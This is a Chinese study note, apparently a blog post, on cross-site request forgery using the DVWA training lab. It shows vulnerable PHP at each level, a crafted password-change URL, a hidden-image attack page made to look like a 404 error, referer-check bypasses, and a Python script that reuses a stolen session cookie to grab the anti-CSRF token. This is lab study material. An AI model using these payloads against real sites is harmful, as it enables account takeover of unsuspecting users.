CSRF学习笔记

一. CSRF(跨站请求伪造)简介

是指利用受害者尚未失效的身份认证信息( cookie、会话
等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下
以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作
(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用.

跨站请求攻击,简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并运行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去运行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的

二.漏洞类型分类

GET型:

只需要构造对应的url,诱导用户访问利用.

POST型:

需要构造自动提交或点击提交的表单,然后诱导用户访问利用.

三.漏洞利用思路

寻找增删改的地方,构造HTML,修改HTML表单中某些参数,使用浏览器打开该HTML,点击提交表单后查看响应结果,看该操作是否成功执行.

主要是构造虚假钓鱼网站

四.DVWA-CSRF关卡学习

low

页面源码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

页面中对提交的变更数据直接处理没有检查referer和token,可以构建url如下:

http://127.0.0.2/DVWA-master/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change

当最近刚登陆过该页面的用户点击该链接后密码即会被修改成admin.对于一些非ip地址类型的网址可以用工具缩短网址,即短链接.这样再点击也会跳转正常的页面.但是网页会有密码成功修改的提示,而且这种只适用于更改密码等操作不需要验证的情况.

这样就用到构造攻击页面的场景了,现实场景中,需要事先在公网中上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成攻击.

需要注意的是,CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,所以如果受害者之前用Chrome浏览器登录的这个系统,而用搜狗浏览器点击这个链接,攻击是不会触发的,因为搜狗浏览器并不能利用Chrome浏览器的cookie,所以会自动跳转到登录界面。

在本地就可以最简单的写一个HTML脚本文件.

<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>
<**h1**>404<**h1**>
<**h2**>file not found.<**h2**>

当访问这个文件后就会触发更改密码的操作,但是由于页面显示404,用户会认为自己访问了失效的url,实际上已经触发了CSRF.

此外还有一种攻击更自动化就是利用burpCSRF攻击方法:

先burp抓包,再用Engagement tools里的Generate CSRF PoC模块,可以在用户原来的请求上进行更改,添加相应参数,生成url,返回给客户端,诱导用户点击就可以完成.(该模块提供了CSRF的HTML源码)

medium

页面源码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?> 

源码中检查了用户的referer.除了上述代码中用stripos()函数检查的方法还有用eregi()函数检查的方法

stripos()函数

stripos(string,find,start)

检查指定字符串在目标字符串中第一次出现的位置,反之返回false.上述代码用了这个函数,也就是访问请求头的referer中只要出现用户首次访问时的referer即可.

eregi()函数

int eregi(string pattern, string string, [array regs])

eregi()函数在一个字符串搜索指定的模式的字符串。搜索不区分大小写。Eregi()可以特别有用的检查有效性字符串,如密码。如果匹配成功返回true,否则,则返回false.

对于这关本地平台绕过可以直接把HTML文件的名称改成之前访问时的referer就可以绕过.但如果是公网访问就需要获取用户访问真实页面时的referer,将攻击页面放在攻击者的服务器中当用户点击之后就可以获得相同的referer,直接进行记录跳转就可以达到目的.

用burp的CoP功能依旧可以绕过只不过是用其自动生成的HTML源码,设置特定的名字再诱导访问,达到目的.

此外还有一种referer的绕过方法.只做介绍:

空Referer绕过:在referer字段后添加:http:// https:// ftp:// file://,在发送,看是否可以绕过referer验证.

high

页面源码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

这关页面检查了token,即Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。

要绕过这个反CSRF机制,最关键的就是获取用户token,这就用到了burp中的CSRF Token Tracker功能来绕过.

完成相关配置后用reperater重新发送就可以实现目的.

在网上看大佬写了python的脚本跑出token值也是一种值得学习的思路:copy一下源码

import requests
import re


def main():
    url = 'http://192.168.67.22/dvwa/vulnerabilities/csrf/index.php'
    headers = {
        'Cookie': 'PHPSESSID=88airjn39jqo5mi25fnngko6f0; security=high',
        #利用其它方法获得的用户cookie
        'Referer': 'http://192.168.67.22/dvwa/vulnerabilities/csrf/'
        #同时拿到的referer
    }
    res = requests.get(url, headers=headers)
    m = re.search(r"user_token' value='(.*?)'", res.content, re.M | re.S)
    if m:
        user_token = m.group(1)
        new_password = 'ac'
        url = '%s?password_new=%s&password_conf=%s&user_token=%s&Change=Change' % (url, new_password, new_password, user_token)
        res = requests.get(url, headers=headers)
        if 'Password Changed.' in res.content:
            print('Yes')
        else:
            print('No')
            print(res.content)


if __name__ == '__main__':
    main()

impossible

页面源码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

这关的防范简单粗暴就是让用户输入原密码.....

同时用了PDO来防范SQL注入.

最后修改:2020 年 08 月 10 日 08 : 42 PM
请作者喝杯奶茶吧~